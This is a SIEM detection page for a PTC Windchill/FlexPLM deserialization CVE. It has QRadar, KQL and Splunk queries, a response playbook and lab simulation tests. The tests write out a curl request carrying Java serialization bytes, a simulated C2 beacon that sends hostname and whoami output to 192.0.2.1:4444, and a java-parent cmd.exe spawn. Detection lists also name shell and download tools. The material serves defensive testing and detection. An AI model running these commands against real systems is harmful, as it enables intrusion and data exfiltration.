Detect CVE-2026-12569 - PTC Windchill and FlexPLM Improper Input Validation / Unsafe Deserialization in IBM QRadar
Detects exploitation attempts targeting CVE-2026-12569, an improper input validation and unsafe deserialization vulnerability (CWE-20, CWE-502) in PTC Windchill and FlexPLM. This vulnerability is listed in CISA KEV, indicating active exploitation in the wild. Attackers may leverage this to achieve remote code execution via crafted serialized objects or malformed input submitted to Windchill/FlexPLM HTTP endpoints.
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
destinationip,
destinationport,
URL,
username,
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source,
magnitude
FROM events
WHERE
LOGSOURCETYPENAME(logsourceid) IN ('Microsoft IIS', 'Apache HTTP Server', 'Nginx', 'Linux OS')
AND (
URL ILIKE '%/Windchill/%'
OR URL ILIKE '%/FlexPLM/%'
OR URL ILIKE '%/wt.httpgw%'
OR URL ILIKE '%rO0AB%'
OR URL ILIKE '%aced0005%'
OR URL ILIKE '%ObjectInputStream%'
OR "Process Name" ILIKE '%cmd.exe%'
OR "Process Name" ILIKE '%powershell%'
OR "Process Name" ILIKE '%wget%'
OR "Process Name" ILIKE '%curl%'
)
AND LAST 7 DAYS
ORDER BY starttime DESC
LIMIT 1000QRadar AQL query identifying HTTP access to PTC Windchill and FlexPLM endpoints, focusing on URLs containing Java deserialization markers or post-exploitation tool invocations on application servers.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrative access to Windchill via URLs that happen to contain encoded parameters
- Security scanners performing routine checks on PTC product endpoints
- Authorized maintenance scripts running on Windchill application servers
- Misconfigured monitoring tools generating alerts for benign serialization activity
Other platforms for CVE-2026-12569
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-12569 - Simulated Java Deserialization Payload HTTP Request to Windchill Endpoint
Expected signal: Proxy or WAF logs should capture the POST request to /Windchill/servlet/WindchillAuthenticator with raw body containing aced0005 (Java serialization magic bytes). Network capture (Wireshark/tcpdump) will show the octets 0xAC 0xED 0x00 0x05 in the TCP stream.
- Test 2CVE-2026-12569 - Simulate Post-Exploitation Shell Spawn from Java Parent (Windows)
Expected signal: Windows Security Event ID 4688 (Process Creation) showing cmd.exe with parent process java.exe. EDR (CrowdStrike/Defender) ProcessRollup2 event with ParentBaseFileName=java.exe and FileName=cmd.exe.
- Test 3CVE-2026-12569 - Simulate Post-Exploitation Outbound C2 from Windchill Server (Linux)
Expected signal: Network connection logs (Elastic/Zeek/firewall) showing outbound TCP connection from Windchill server to external IP on port 4444. Process ancestry in EDR showing bash/curl invoked with suspicious URL parameters (hostname, whoami output).
References (4)
- https://www.ptc.com/en/support/article/CS473270
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-12569
Response Playbook
Triage
- Identify all hosts running PTC Windchill or FlexPLM by querying your asset inventory or CMDB; cross-reference against firewall and proxy logs to determine which hosts received inbound HTTP connections from external IPs around the time of the alert.
- Examine the specific HTTP request that triggered the alert: capture the full URI, query parameters, POST body, and HTTP headers. Look for Java serialized object magic bytes (hex aced0005 or base64 rO0AB) in any parameter or body field.
- Check for evidence of successful exploitation: review application server logs (Tomcat catalina.out, IIS logs) for HTTP 200 responses to suspicious endpoints, unusual child processes spawned by the Java process, outbound network connections to non-PTC external hosts, and new files written to the server filesystem.
- Determine if the affected system is internet-facing or only internally accessible, and assess the blast radius: Windchill/FlexPLM often holds sensitive engineering and product lifecycle data that would be high-value for espionage actors.
Containment
- If active exploitation is confirmed, immediately isolate the affected Windchill/FlexPLM server from the network using firewall ACLs or EDR network isolation, preserving a memory snapshot and disk image before isolation where operationally feasible.
- Block inbound HTTP/HTTPS access to Windchill and FlexPLM endpoints at the perimeter firewall and WAF for all traffic not originating from known trusted internal IP ranges; enforce this until the vendor patch described in PTC CS473270 is applied and verified.
- Reset all service account credentials associated with the Windchill/FlexPLM application and revoke any API tokens or certificates that may have been accessible from the compromised server's filesystem or environment.
Evidence Collection
- Collect Tomcat or application server logs (/logs/catalina.out, /logs/localhost_access_log.*.txt), IIS W3C logs, and any WAF or reverse proxy access logs covering the 72-hour window prior to detection; preserve these with cryptographic hashes for chain of custody.
- Capture a forensic memory image of the application server process (e.g., using procdump or /proc/PID/mem) to identify any injected code, live deserialized objects, or C2 communications that may not appear in disk artifacts.
Escalation Criteria
- !Escalate immediately to incident response leadership if post-exploitation activity is confirmed (reverse shell, lateral movement, data staging, or credential harvesting), given that this CVE is listed in CISA KEV with active exploitation.
- !Escalate to threat intelligence and executive leadership if the affected Windchill/FlexPLM instance contains export-controlled, classified, or sensitive product design data, as this exploitation pattern is consistent with nation-state industrial espionage campaigns.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Tomcat/JBoss application server logs showing HTTP requests with base64-encoded or hex-encoded Java serialized object payloads (magic bytes aced0005 / rO0AB) in any field - >
Filesystem artifacts: newly created JSP webshell files in the Windchill web root (e.g., codebase/, web/, wtcore/), unexpected JAR files, or modified class files in the application directory - >
Process creation records showing java.exe or tomcat processes as parent of cmd.exe, powershell.exe, bash, or wget — a strong indicator of successful deserialization RCE - >
Network connections from the Windchill server to external IPs on non-standard ports post-exploitation, indicating C2 callback or data exfiltration
Tuning Guidance
This detection will generate false positives in environments with heavy legitimate Java serialization traffic to Windchill (e.g., thick client integrations, ERP connectors). Tune by building an allowlist of known-good source IPs (CAD workstations, ERP servers) that regularly interact with Windchill HTTP endpoints, and suppress process-spawn alerts for known Windchill maintenance scripts that execute from Java parents. Increase confidence to HIGH after confirming that deserialization magic bytes are not present in normal application traffic via a 7-day baseline review. If a WAF is in front of Windchill, configure it to block rO0AB and aced0005 patterns as a preventive control complementing this detection.
Hunting Queries
Hunt for Java deserialization magic bytes in all HTTP traffic to known Windchill/FlexPLM servers over the past 30 days
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where RequestURL has_any ("/Windchill/", "/FlexPLM/", "/wt.httpgw")
or DestinationHostName has_any ("windchill", "flexplm")
| where RequestURL has_any ("rO0AB", "aced", "java.io", "ObjectInputStream")
or AdditionalExtensions has_any ("rO0AB", "aced0005")
| summarize count() by SourceIP, RequestURL, TimeGenerated
| order by TimeGenerated descindex=proxy OR index=web earliest=-30d
| rex field=uri_query "(?P<deser_marker>rO0AB|aced0005|java\.io\.|ObjectInputStream)"
| where (match(uri_path, "(?i)(Windchill|FlexPLM|wt\.httpgw)") OR match(dest_host, "(?i)(windchill|flexplm)")) AND isnotnull(deser_marker)
| stats count by src_ip, uri_path, deser_marker, dest_host
| sort -countHunt for unusual child processes spawned by Java/Tomcat processes on PLM servers over the past 14 days
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName has_any ("java.exe", "javaw.exe", "tomcat", "jboss")
| where FileName in~ ("cmd.exe", "powershell.exe", "bash", "sh", "wget", "curl", "certutil.exe", "mshta.exe", "wscript.exe", "cscript.exe")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName
| order by TimeGenerated descindex=endpoint earliest=-14d sourcetype=wineventlog EventCode=4688
| where match(ParentProcessName, "(?i)(java|tomcat|jboss)") AND match(NewProcessName, "(?i)(cmd\.exe|powershell|bash|wget|curl|certutil)")
| table _time, ComputerName, ParentProcessName, NewProcessName, CommandLine, SubjectUserName
| sort -_timeAtomic Red Team Tests
Sends a crafted POST request to a test Windchill endpoint containing a benign Java serialized object payload (ysoserial CommonsCollections chain, lab-safe) to validate detection of deserialization magic bytes in HTTP traffic. Run only in isolated lab environments.
Command
curl -s -X POST 'http://TARGET_WINDCHILL_HOST:8080/Windchill/servlet/WindchillAuthenticator' \
-H 'Content-Type: application/octet-stream' \
-H 'X-Test-CVE: CVE-2026-12569' \
--data-binary $'\xac\xed\x00\x05sr\x00\x10java.lang.String' \
-o /dev/null -w '%{http_code}'Cleanup
No cleanup required; this only sends an inbound HTTP request. Ensure TARGET_WINDCHILL_HOST is a lab instance only.Expected Telemetry
Proxy or WAF logs should capture the POST request to /Windchill/servlet/WindchillAuthenticator with raw body containing aced0005 (Java serialization magic bytes). Network capture (Wireshark/tcpdump) will show the octets 0xAC 0xED 0x00 0x05 in the TCP stream.
Expected Detection
Alert triggered by kql/spl/elastic_eql rules matching on deserialization magic bytes (aced or rO0AB pattern) in HTTP request body or URI to a Windchill endpoint.
Simulates the post-exploitation behavior of a successful deserialization RCE by spawning cmd.exe as a child of a Java process. Tests EDR and SIEM detection of suspicious Java parent-child process relationships. Lab environment only.
Command
powershell -Command "Start-Process -FilePath 'java.exe' -ArgumentList '-cp . com.lab.SimulateExploit' -NoNewWindow; Start-Sleep 2; $javaProc = Get-Process java | Select-Object -Last 1; Start-Process -FilePath 'cmd.exe' -ArgumentList '/c whoami > C:\temp\cve_test_output.txt' -NoNewWindow"Cleanup
Remove-Item C:\temp\cve_test_output.txt -ErrorAction SilentlyContinue; Stop-Process -Name java -ErrorAction SilentlyContinueExpected Telemetry
Windows Security Event ID 4688 (Process Creation) showing cmd.exe with parent process java.exe. EDR (CrowdStrike/Defender) ProcessRollup2 event with ParentBaseFileName=java.exe and FileName=cmd.exe.
Expected Detection
Alert triggered by kql DeviceProcessEvents rule and crowdstrike_cql rule detecting cmd.exe child of java.exe. Confidence should be HIGH given the specific parent-child relationship.
Simulates an attacker establishing outbound connectivity after exploiting CVE-2026-12569 on a Linux Windchill server. Uses curl to simulate a C2 callback to a controlled external IP. Run only in lab with controlled network.
Command
# Simulate java process (parent context)
export SIMULATION_PARENT="tomcat"
# Simulate child process making outbound connection (C2 callback)
bash -c 'curl -s -o /dev/null -w "%{http_code}" http://192.0.2.1:4444/beacon?host=$(hostname)&user=$(whoami) || true'
echo "Test complete - check network logs for outbound connection to 192.0.2.1:4444"Cleanup
No persistent artifacts created. Ensure 192.0.2.1 is a controlled test IP (RFC 5737 documentation range used here - replace with actual lab C2 listener IP).Expected Telemetry
Network connection logs (Elastic/Zeek/firewall) showing outbound TCP connection from Windchill server to external IP on port 4444. Process ancestry in EDR showing bash/curl invoked with suspicious URL parameters (hostname, whoami output).
Expected Detection
Alert triggered by network-based detection rules identifying outbound connections from Windchill server to non-PTC external IPs on non-standard ports, correlated with process launch events showing curl/wget as child of application server processes.